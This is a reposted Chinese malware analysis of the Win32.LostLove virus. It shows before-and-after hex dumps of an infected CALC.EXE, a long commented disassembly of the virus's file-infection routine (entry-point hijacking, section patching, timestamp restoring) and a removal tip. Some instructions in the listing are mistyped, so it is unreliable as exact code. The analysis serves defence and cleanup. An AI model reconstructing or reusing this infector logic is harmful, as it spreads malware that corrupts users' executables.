分享
 
 
 

Win32.LostLove 病毒分析及清除方法

王朝system·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

以前曾经分析过一个小病毒,贴出来共享:

1、LostLove病毒,该病毒的特征是感染扩展名为

EXE和SCR的Windows的PE文件,文件长度增加1186字节。

病毒发作时会查找C—Z盘所有符合条件的文件,并将其感

染,同时会打开 http://www.wx-packs.com/lx/boy/boyhacker.htm

页面,不会造成其他的破坏。

2、感染数据

以被感染的 C:\WINDOWS\CALC.EXE 为例,正常为94,208字节,

感染后为95,394字节。

感染前:

00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF

0000 4D 5A 90 00 03 00 00 00-04 00 00 00 FF FF 00 00 MZ..............

0010 B8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......

0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0030 00 00 00 00 00 00 00 00-00 00 00 00 C8 00 00 00 ................

00C0 50 45 00 00 4C 01 03 00 PE..L...

00D0 B4 AF FD 34 00 00 00 00-00 00 00 00 E0 00 0F 03 ...4............

00E0 0B 01 05 0C 00 1C 01 00-00 38 00 00 00 00 00 00 .........8......

00F0 E0 19 01 00 00 10 00 00-00 30 01 00 00 00 00 01 .........0......

0100 00 10 00 00 00 10 00 00-05 00 00 00 05 00 00 00 ................

0110 04 00 00 00 00 00 00 00-00 70 01 00 00 06 00 00 .........p......

0120 90 B7 01 00 02 00 00 00-00 00 04 00 00 10 00 00 ................

0130 00 00 10 00 00 10 00 00-00 00 00 00 10 00 00 00 ................

0140 00 00 00 00 00 00 00 00-20 20 01 00 8C 00 00 00 ........ ......

0150 00 40 01 00 18 26 00 00-00 00 00 00 00 00 00 00 .@...&..........

0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0170 F0 11 00 00 1C 00 00 00-00 00 00 00 00 00 00 00 ................

0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

01A0 00 10 00 00 E8 01 00 00-00 00 00 00 00 00 00 00 ................

01B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

01C0 2E 74 65 78 74 00 00 00-0E 1A 01 00 00 10 00 00 .text...........

01D0 00 20 01 00 00 10 00 00-00 00 00 00 00 00 00 00 . ..............

01E0 00 00 00 00 20 00 00 60-2E 64 61 74 61 00 00 00 .... ..`.data...

01F0 84 0F 00 00 00 30 01 00-00 10 00 00 00 30 01 00 .....0.......0..

0200 00 00 00 00 00 00 00 00-00 00 00 00 40 00 00 C0 ............@...

0210 2E 72 73 72 63 00 00 00-18 26 00 00 00 40 01 00 .rsrc....&...@..

0220 00 30 00 00 00 40 01 00-00 00 00 00 00 00 00 00 .0...@..........

0230 00 00 00 00 40 00 00 40-00 00 00 00 00 00 00 00 ....@..@........

0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

感染后:

00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF

00F0 00 70 01 00 .p..

0110 00 80 01 00 ....

0120 A2 04 00 00 ....

0210 A2 34 00 00 .4..

0220 A2 34 00 00 .4..

0230 40 00 00 E0 @...

比较一下:

地址 感染前 感染后

00F0: E0 00

00F1: 19 70

0119: 70 80

0120: 90 A2

0121: B7 04

0122: 01 00

0218: 18 A2

0219: 26 34

0220: 00 A2

0221: 30 34

0237: 40 E0

其中00F0-00F3为程序入口地址,感染前为000119E0,感染后为00017000

0118-011B为所有section大小,增加了1000

0120-0123为检验和,改为4A2

0218-021B为最后一个section的VirtualSize,增加了E8A

0220-0223为最后一个section的长度,增加了4A2

0234-0237为最后一个section的属性,该为读、写、执行3种权限

可见,病毒在最后一个section的后面,然后修改了入口地址和相应的section大小等,

最重要的是恢复程序入口地址。

3、病毒代码

将最后1186字节读出,进行反汇编,得如下代码:

;************** 原程序入口 ***********************

010119E0 PUSH BP

....

;************** 病毒入口 *************************

01017000 PUSHAD

CALL 01017010

MOV ESP,FS:[0000]

JMP [ESP+28]

01017010 PUSH WORD PTR FS:[0000]

MOV FS:[0000],ESP

MOV EAX,DWORD PTR [ESP+28]

AND AX,F000

MOV ESI,EAX

01017026 SUB ESI,00001000

CMP WORD PTR [ESI],5A4D ;查找 '4D5A' 即应用程序标志

JNE 01017026

MOVZX EDI,WORD PTR [ESI+3C]

ADD EDI,ESI

CMP WORD PTR [EDI],4550 ;查找 '4550' 即PE程序标志

JNE 01017026

MOV EBP,DWORD PTR [EDI+78]

ADD EBP,ESI

MOV EBX,DWORD PTR [EBP+20]

ADD EBX,ESI

XOR AX,AX

MOV EDX,ESI

0101704E ADD EBX,00000004

INC EAX

MOV EDI,DWORD PTR [EBX]

ADD EDI,EDX

01017056 CALL 0101706A

0101705B DB 'GetProcAddress',0

0101706A POP ESI

XOR ECX,ECX

MOV CL,0F

CLD

REPZ CMPSB ;查找GetProcAddress的入口地址

JNE 0101704E

MOV ESI,EDX

MOV EBX,DWORD PTR [EBP+24]

ADD EBX,ESI

MOVZX ECX, WORD PTR [EBX+2*EAX]

MOV EBX,DWORD PTR [EBP+1C]

ADD EBX,ESI

MOV EBX,DWORD PTR [EBX+4*ECX]

ADD EBX,ESI

SUB ESP,00000060

MOV EDI,ESP

CALL 0101709F

01017093 DB 'ExitProcess',0

0101709F CALL 010170BB

010170A4 DB 'RegisterServiceProcess',0

010170BB CALL 010170C6

010170C0 DB 'Sleep',0

010170C6 CALL 010170D3

010170CB DB '_lclose',0

010170D3 CALL 010170E0

010170D8 DB '_llseek',0

010170E0 CALL 010170ED

010170E5 DB '_lwrite',0

010170ED CALL 010170F9

010170F2 DB '_lread',0

010170F9 CALL 01017105

010170FE DB '_lopen',0

01017105 CALL 01017116

0101710A DB 'SetFileTime',0

01017116 CALL 0101712E

0101711B DB 'SetFileAttributesA',0

0101712E CALL 0101713D

01017133 DB 'FindClose',0

0101713D CALL 01017150

01017142 DB 'FindNextFileA',0

01017150 CALL 01017164

01017155 DB 'FindFirstFileA',0

01017164 CALL 0101717E

01017169 DB 'SetCurrentDirectoryA',0

0101717E CALL 01017191

01017183 DB 'GetDriveTypeA',0

01017191 CALL 0101719E

01017196 DB 'WinExec',0

0101719E CALL 010171B3

010171A3 DB 'GetCommandLineA',0

010171B3 CALL 010171C5

010171B8 DB 'GetLastError',0

010171C5 CALL 010171D7

010171CA DB 'CreateMutexA',0

010171D7 CALL 010171E9

010171DC DB 'LoadLibraryA',0

010171E9 MOV ECX,00000014

010171EE MOV EBP,ECX

PUSH ESI

CALL EBX ;调用GetProcAddress

CLD

STOSD

MOV ECX,EBP

LOOP 010171EE ;查找所需要使用的函数入口

MOV ESI,ESP ;函数就是上面的20个

CALL 01017209

01017200 DB 'LostLove',0 ;病毒标志

01017209 PUSH 0

PUSH 0

CALL [ESI+4] ;CreateMutexA

CALL [ESI+8] ;GetLastError

OR EAX,EAX

01017215 JE 0101722B ;成功,说明病毒未驻留,转病毒程序

01017217 MOV ESP,FS:[0000]

POP WORD PTR FS:[0000]

POP EAX

POPAD

01017225 PUSH 010119E0

0101722A RET ;返回原程序

;---------------------------------------

0101722B CALL [ESI+0C] ;GetCommandLineA

PUSH 00000001

PUSH EAX

CALL [ESI+10] ;WinExec 'Command Line'

MOV EAX,DWORD PTR [ESI+48]

OR EAX,EAX

JE 01017241

0101723B PUSH 00000001

PUSH 00000000

CALL EAX ;RegisterServiceProcess

01017241 CALL 01017289

01017246 PUSH 00000001

CALL 01017283

0101724D DB 'Explorer http://www.wx-packs.com/lx/boy/boyhacker.htm',0

01017283 CALL [ESI+10] ;WinExec

CALL [ESI+4C] ;ExitProcess

01017289 MOV ECX,00000018

MOV EDX,005C3A43 ;'C:\'

01017293 PUSH ECX

PUSH EDX

PUSH ESP

CALL [ESI+14] ;GetDriveTypeA

CMP EAX,2

JB 010172A9 ;只找固定磁盘

CMP EAX,5 ;光盘软盘不感兴趣

010172A1 JE 010172A9

PUSH ESP

CALL 010172AF

010172A9 POP EDX

INC EDX

POP ECX

LOOP 01017293

RET

010172AF ENTER 0000,00

PUSH EBX

PUSH ESI

PUSH EDI

PUSH [EBP+08]

CALL [ESI+18] ;SetCurrentDirectoryA

OR EAX,EAX

JE 0101731B ;出错

SUB ESP,00001000

MOV DWORD PTR [ESP],002A2E2A ;'*.*'

MOV EAX,ESP

PUSH ESP

PUSH EAX

CALL [ESI+1C] ;FindFirstFileA

MOV EBX,EAX

CMP EAX,FFFFFFFF

JE 0101730A

PUSH ESP

PUSH EBX

CALL [ESI+20] ;FindNextFileA

OR EAX,EAX

JE 01017306

LEA DX,DWORD PTR [ESP+2C]

MOV EAX,DWORD PTR [ESP]

AND EAX,00000010

JE 010172FE

MOV EAX,DWORD PTR[EDX]

CMP AL,2E

JE 010172DB

PUSH EDX

CALL 010172AF

JMP 010172DB

010172FE PUSH ESP

CALL 01017322

JMP 010172DB

01017306 PUSH EBX

CALL [ESI+24] ;FindClose

0101730A MOV DWORD PTR [ESP],00002E2E

PUSH ESP

CALL [ESI+18] ;SetCurrentDirectoryA

ADD ESP,00001000

0101731B POP EDI

POP ESI

POP EBX

LEAVE

RET 0004

01017322 ENTER 0000,00

PUSH EBX

PUSH ESI

PUSH EDI

MOV EBX,DWORD PTR [EBP+8]

MOV ECX,00001000

LEA EDI,DWORD PTR [EBX+2C]

XOR AL,AL

CLD

REPNZ SCASB ;得到扩展名

MOV EAX,DWORD PTR [EDI-05]

OR EAX,20202000

CMP EAX,6578652E ;'.exe'

JE 01017356

CMP EAX,7263732E ;'.scr'

JE 01017356

POP EDI

POP ESI

POP EBX

LEAVE

RET 0004

01017356 PUSH EBX

CALL 01017363

POP EDI

POP ESI

POP EBX

LEAVE

RET 0004

;**************** 感染过程在这儿 *******************************

01017363 ENTER 0000,00

PUSH EBX

PUSH ESI

PUSH EDI

MOV EDI,DWORD PTR [EBP+08]

LEA EBX,DWORD PTR [EDI+2C]

PUSH 00000000

PUSH EBX

CALL [ESI+28] ;SetFileAttributesA

PUSH 00000002 ;读写方式

PUSH EBX

CALL [ESI+30] ;_lopen 打开文件

CMP EAX,FFFFFFFF

JE 0101739D ;出错

MOV EBX,EAX

PUSH EBX

CALL 010173AD

LEA EAX,DWORD PTR [EDI+04]

LEA ECX,DWORD PTR [EDI+0C]

LEA EDX,DWORD PTR [EDI+14]

PUSH EDX

PUSH ECX

PUSH EAX

PUSH EBX

CALL [ESI+2C] ;SetFileTime 怪不得文件日期没有变化

PUSH EBX

CALL [ESI+40] ;_lclose

0101739D LEA BX,DWORD PTR [EDI+2C]

PUSH DWORD PTR [EDI]

PUSH EBX

CALL [ESI+28] ;SetFileAttributesA

POP EDI

POP ESI

POP EBX

LEAVE

RET 0004

010173AD ENTER 0000,00

PUSH EBX

PUSH ESI

PUSH EDI

SUB ESP,00001000

MOV EDI,ESP

PUSH 00001000 ;读4096字节

PUSH EDI ;地址

PUSH [EBP+08] ;文件号

CALL [ESI+34] ;_hread

MOVZX EAX,WORD PTR [EDI+3C]

ADD EDI,EAX

CMP EDI,EDP

JA 01017495

CMP WORD PTR [EDI],4550 ;是否真的是PE文件?

JNE 01017495

MOV EAX,000004A2

XCNH DWORD PTR [EDI+58],EAX

CMP EAX,000004A2 ;校验和是否为4A2,见下文说明

JE 01017495

LEA EBX,DWORD PTR [EDI+000000F8] ;第一个section header的地址

MOVZX ECX,WORD PTR [EDI+6] ;section的数目

DEC ECX

010173FF ADD EBX,00000028

LOOP 010173FF ;找到最后一个section header

CMP EBX,EBP

JA 01017495

OR DWORD PTR [EBX+24],E0000000 ;修改其属性

PUSH 00000002 ;从末尾

PUSH 00000000 ;

PUSH [EBP+8]

CALL [ESI+3C] ;_llseek

CMP EAX,FFFFFFFF

JE 01017495

PUSH EAX

ADD EAX,000004A2

SUB EAX,DWORD PTR [EBX+14]

MOV DWORD PTR [EBX+10],EAX ;最后一个section的大小

MOV EDX,DWORD PTR [EBX+8]

CMP EAX,EDX

JB 0101744B

MOV DWORD PTR [EBX+8],EAX

MOV ECX,DWORD PTR [EDI+38]

DEC CX

ADD EAX,ECX

ADD EDX,ECX

NOT ECX

AND EAX,ECX

AND EDX,ECX

SUB EAX,EDX

ADD DWORD PTR [EDI+50],EAX ;SizeOfImage

0101744B POP ECX

SUB ECX,DWORD PTR [EBX+14] ;PointerToRawData

ADD ECX,DWORD PTR [EBX+0C] ;VirtualAddress

XCHG DWORD PTR [EDI+28],ECX ; !!!!!修改入口地址!!!!!

ADD ECX,DWORD PTR [EDI+34] ; 原入口地址加ImageBase放入ECX

CALL 0101745D

0101745D POP EDI

SUB EDI,00000237

MOV DWORD PTR [EDI],ECX ;把ECX放到这儿了

SUB EDI,00000226

PUSH 000004A2

PUSH EDI

PUAH [EBP+08]

CALL [ESI+38] ;_hwrite

CMP EAX,FFFFFFFF

JE 01017495

PUSH 00000000 ;到文件头

PUSH 00000000

PUSH [EBP+08]

CALL [ESI+3C] ;_llseek

MOV EAX,ESP

PUSH 00001000

PUSH EAX

PUSH [EBP+08]

CALL [ESI+38] ;_hwrite

01017495 ADD ESP,00001000

POP EDI

POP ESI

POP EBX

LEAVE

RET 0004

4、清除方法:

从上面程序就可以得到清除的方法,从文件最后倒数027C-0279字节得到的数减去ImageBase

就是原来的入口地址。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有